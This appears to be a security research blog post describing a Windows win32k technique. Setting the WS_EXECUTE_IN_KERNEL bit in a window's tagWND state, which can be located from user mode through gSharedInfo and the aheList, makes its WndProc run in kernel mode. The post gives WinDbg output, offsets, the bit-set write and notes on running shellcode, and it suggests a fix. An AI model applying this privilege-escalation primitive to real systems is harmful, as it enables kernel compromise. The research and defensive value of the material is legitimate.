A ‘write-what-where’ kernel memory overwrite tale.
Good arbitrary kernel memory overwrites are hard to find this days. But if you stumble on one, you are faced with what is usually known as ‘write-what-where’ dilemma. What you can write: the byte content and the overwrite size (normally the smaller, the better). Where you can write: a safe kernel address that allows us to intercept the cpu code execution flow within a privileged code segment.
The knowledge of the ‘write-what-where’ is crucial for a successful exploitation, as is essential for the final phase of a generic exploit: the triggering phase.
As I said before, for the memory overwrite, the smaller, the better. So, if we could just write one bit in kernel address space and that would allow the shellcode to be executed in kernel mode, it would be great. But sometimes, constrains show up, and we can’t just write one single bit. The ideal memory address buffer would then be the one it would allow a large spectrum of overwrite widths. This would give it some resilience and stability and would elect it for usage of a broader range of exploits.
As to the ‘where’ goes, Windows Kernel Patch Protection is a player. Kernel Patch Protection makes it its business to difficult life to those who try to hook on Windows. It is indeed a huge determent.
This post is about a new ‘write-what-where’ that allows you to easily escalate from user mode if you can write from a DWORD up to a bit, from user mode to kernel memory. This post is not about a vulnerability exploit.
The pretty printed document can be downloaded from here.
The idea is the following: If you create a GUI application, the GUI application will register a WndProc function with RegisterClassEx for GUI message handling. As soon as the GUI application calls CreateWindow, it asks the kernel (Win32k.sys counterpart) to instantiate the WNDCLASSEX provided by the application upon registration. The kernel then, when needed, lowers its execution level to user mode, and calls back the application registered WndProc. WndProc starts receiving GUI messages and returns it’s execution to wait in the kernel for more messages delivery. This is the normal, known usual execution of GUI applications.
The tweak here is that the messaging subsystem kernel counterpart (Win32k.sys) allows for kernel sided registered windows. These windows process their messages in kernel mode, and what differentiates a user mode from a kernel mode window is just a single bit, kept in the third byte of the state field of a tagWND kernel structure at offset 0x14. If you just flip this bit, the WndProc runs in kernel mode as it will be shown. And, if you can’t write just a bit, the state field can be overwritten up to its full DWORD size. The bonus here is that all the information we need to get to the critical address is available from user mode, by iterating the aheList. The bit value that defines a window as kernel mode is defined here as:
#define WS_EXECUTE_IN_KERNEL 0x04
After writing ‘Unpack me if you can’ where I exposed some details about the Desktop heap, I continued digging on Win32k internals. If you aren’t familiar with it, please read it as you need to grasp how the desktop heap is organized to understand some of the steps taken here. I will also give you a small introduction on how the aheList is structured, and how it can be used from user mode, to gather the information we need to find the kernel overwrite spot. I’ll leave for a future post a more descriptive text about the aheList.
The aheList is an array of handle entries stored in kernel address space, but mapped read only into process user space memory, when processes register for GUI processing. The aheList comprises all the GUI handles for a Windows session, making this memory area shared by all GUI processes that run in the same session. The aheList address can be obtained from user mode from the global variable gSharedInfo exported from user32.dll.
76dc9440 USER32!gSharedInfo =
The gSharedInfo is a structure of type win32k!tagSHAREDINFO, as can be seen here:
dt win32k!tagSHAREDINFO 76dc9440
+0x000 psi : 0x018b0578 tagSERVERINFO
+0x004 aheList : 0x017f0000 _HANDLEENTRY
+0x008 HeEntrySize : 0xc
+0x00c pDispInfo : 0x018b1728 tagDISPLAYINFO
+0x010 ulSharedDelta : 0xfdd20000
+0x014 awmControl :  _WNDMSG
+0x10c DefWindowMsgs : _WNDMSG
+0x114 DefWindowSpecMsgs : _WNDMSG
From it, we can get the aheList address, 0x017f0000.
For the purpose of this demonstration I’ll be using notepad.exe again. Let’s first set a breakpoint on notepad’s registered WndProc:
As soon as we hit the breakpoint, we get the registers:
eax=c0000000 ebx=00000000 ecx=00000000 edx=00000003 esi=0000001e edi=000bfd48
eip=001314de esp=000bfcd0 ebp=000bfcf8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
001b:001314de 8bff mov edi,edi
We can observe the user mode segments: CS=0x1b, DS=ES=SS=0x23.
The callback declaration format is:
LRESULT CALLBACK MainWndProc(HWND, UINT, WPARAM, LPARAM);
So, dumping the stack, the first argument will be window handle associated with our thread: 0x0018009e
ChildEBP RetAddr Args to Child
000bfccc 76d7c4e7 0018009e 0000001e 00000000 notepad!NPWndProc
000bfcf8 76d7c5e7 001314de 0018009e 0000001e USER32!InternalCallWinProc+0x23
Let’s go to the aheList and grab the tagWND object, by using 0x0018 as a validator and 0x009e as an index into the aheList array:
dt win32k!_handleentry 0x017f0000+@@(sizeof(win32k!_handleentry))*9e
+0x000 phead : 0xfe83c9e8 _HEAD
+0x004 pOwner : 0xff9d9008 Void
+0x008 bType : 0x1 ''
+0x009 bFlags : 0 ''
+0x00a wUniq : 0x18
Let’s validate in kernel the information obtained:
dt win32k!_head 0xfe83c9e8
+0x000 h : 0x0018009e Void
+0x004 cLockObj : 9
dt win32k!_THRDESKHEAD 0xfe83c9e8
+0x000 h : 0x0018009e Void
+0x004 cLockObj : 9
+0x008 pti : 0xff9d9008 tagTHREADINFO
+0x00c rpdesk : 0x8585d678 tagDESKTOP
+0x010 pSelf : 0xfe83c9e8 "???"
dt win32k!tagWND 0xfe83c9e8
+0x000 head : _THRDESKHEAD
+0x014 state : 0x40020049 <----
+0x014 bHasMeun : 0y1
+0x050 rcClient : tagRECT
+0x060 lpfnWndProc : 0x001314de long notepad!NPWndProc+0
+0x064 pcls : 0xfe80db68 tagCLS
Everything looks valid. From user mode, we obtained the corresponding tagWnd address 0xfe83c9e8. To convert the user mode window to a kernel mode one, we need to set the third bit from the third byte of the state field in the tagWND structure.
Summing the tagWnd address (0xfe83c9e8), the state field offset within the tagWnd structure (0x14) and the state offset byte (0x2), we get the kernel memory address that needs to be altered. From here on, we would need an arbitrary memory overwrite to set our value:
((BYTE*)&pWnd->state)+0x2 |= WS_EXECUTE_IN_KERNEL
Let’s fire up the window to a kernel mode window by hand:
eb 0xfe83c9e8+0x14+0x2 4
Notice that I set the third byte to the WS_EXECUTE_IN_KERNEL value because the content is not important as long the flag is set. But for correctness, one could collect the previous window state value (usually 2) from the Desktop heap and OR it with WS_EXECUTE_IN_KERNEL. See ‘Unpack me if you can’.
Run the machine and we hit the breakpoint again:
eax=00002cac ebx=00000133 ecx=8a4e3cac edx=8a4e4000 esi=fe83c9e8 edi=ff9d9008
eip=001314de esp=8a4e3c58 ebp=8a4e3c94 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
001314de 8bff mov edi,edi
Yeh! We just set notepad.exe executing in kernel mode. From now on, the code on WndProc just needs to verify the code segment to validate the kernel mode execution and run the shellcode. To clean up, the shellcode needs just to restore the window state to the previous user mode state, and return from WndProc.
How to solve this? The ‘problem’ lies in xxxSendMessageTimeout as it does not validate if the WndProc address is in user mode before calling it:
So a simple address validation would suffice to stop this from working with a simple bit flip, but wouldn’t stop other kind of approaches.
I’ll be waiting for your exploits.